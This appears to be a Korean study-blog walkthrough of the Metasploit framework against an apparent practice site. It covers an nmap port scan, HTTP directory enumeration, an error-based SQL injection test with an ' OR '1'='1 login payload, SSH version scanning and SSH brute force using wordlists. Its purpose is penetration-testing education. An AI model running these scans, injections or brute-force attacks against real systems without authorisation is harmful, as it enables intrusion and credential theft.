: 다양한 보안 테스트와 모의해킹(펜테스팅)을 수행할 수 있는 오픈 소스 침투 테스트 프레임워크
네트워크, 시스템, 웹 애플리케이션 등의 취약점을 탐지하고 실제로 악용해보는 데 유용
📎 주요 기능 1) 취약점 탐지 및 공격 : 미리 작성된 공격 모듈을 이용해 다양한 취약점에 대한 테스트 수행 2) 익스플로잇(Exploit) 및 페이로드(Payload) 사용 - Exploit: 시스템 취약점을 악용하여 원격 코드 실행 등 공격을 수행 - Payload: 공격이 성공한 후 실행할 명령(ex. 역방향 쉘(reverse shell) 또는 Meterpreter 세션 획득)
✔️ 실행하기 전 먼저 해야할 단계
sudo nmap -sT www.megabank.store
22(ssh)와 80(http) 포트가 열려있는 것을 확인 열려 있는 포트의 취약점 테스트 시도
📌 HTTP 취약점 테스트
1️⃣ 모듈 선택
(웹 서버의 HTTP 응답에서 웹 애플리케이션의 정보를 확인하는 데 사용되는 모듈)
use auxiliary/scanner/http/title
스캔 실행
run http://megabank.store
타깃 웹 서버인 megabank.store의 웹 서버 IP 주소와 Apache 버전정보가 출력됨
2️⃣ 모듈 선택
(웹 서버의 디렉토리 및 파일 경로 스캔)
use auxiliary/scanner/http/files_dir
옵션 설정 및 실행
set RHOSTS [web서버 IP]
exploit
- 특정 파일(ex. index.php, login.php)이나 디렉터리(ex. api, account)가 존재하는지 확인하여 해당 파일이나 디렉터리의 취약점을 분석할 수 있다.
- login.php와 같은 로그인 페이지가 발견되면 로그인 우회를 시도하거나 SQL 인젝션, XSS 등의 취약점을 점검할 수 있다.
3️⃣ 모듈 선택
(웹 애플리케이션에서 SQL 인젝션 취약점을 찾기 위해 특정 경로에 대해 오류 기반 SQL 인젝션을 테스트)
use auxiliary/scanner/http/error_sql_injection
옵션 설정 및 실행
set DATA "username=admin&password=' OR '1'='1"
set METHOD POST
set PATH /login.php
set RHOSTS [web서버 IP]
exploit
해당 경로에서 SQL 인젝션 취약점 발견, 취약한 쿼리 파라미터는 password 임을 확인
📌 SSH 취약점 테스트
1️⃣ 모듈 선택
(대상 SSH 서버의 버전을 스캔하여 정보를 수집)
use auxiliary/scanner/ssh/ssh_version
옵션 설정 및 실행
set RHOSTS [web서버 IP]
exploit
- SSH 키 지문: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs3FsOuHh6fFZpCN8vw7UfeyCLzki+GTpydr2qCrsZD
(서버의 SSH 공개 키 지문)
- SSH 서버 버전: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
(서버에서 사용 중인 OpenSSH 버전)
2️⃣ 모듈 선택 - ssh 브루트포스 실행
(알려진 사용자 및 비밀번호 목록을 사용하여 무차별 대입 공격을 실시)
use scanner/ssh/ssh_login
옵션 설정 및 실행
set PASS_FILE /home/kali/password.txt
set RHOSTS [web서버 IP]
set RPORT 22
set USER_FILE /home/kali/username.txt
exploit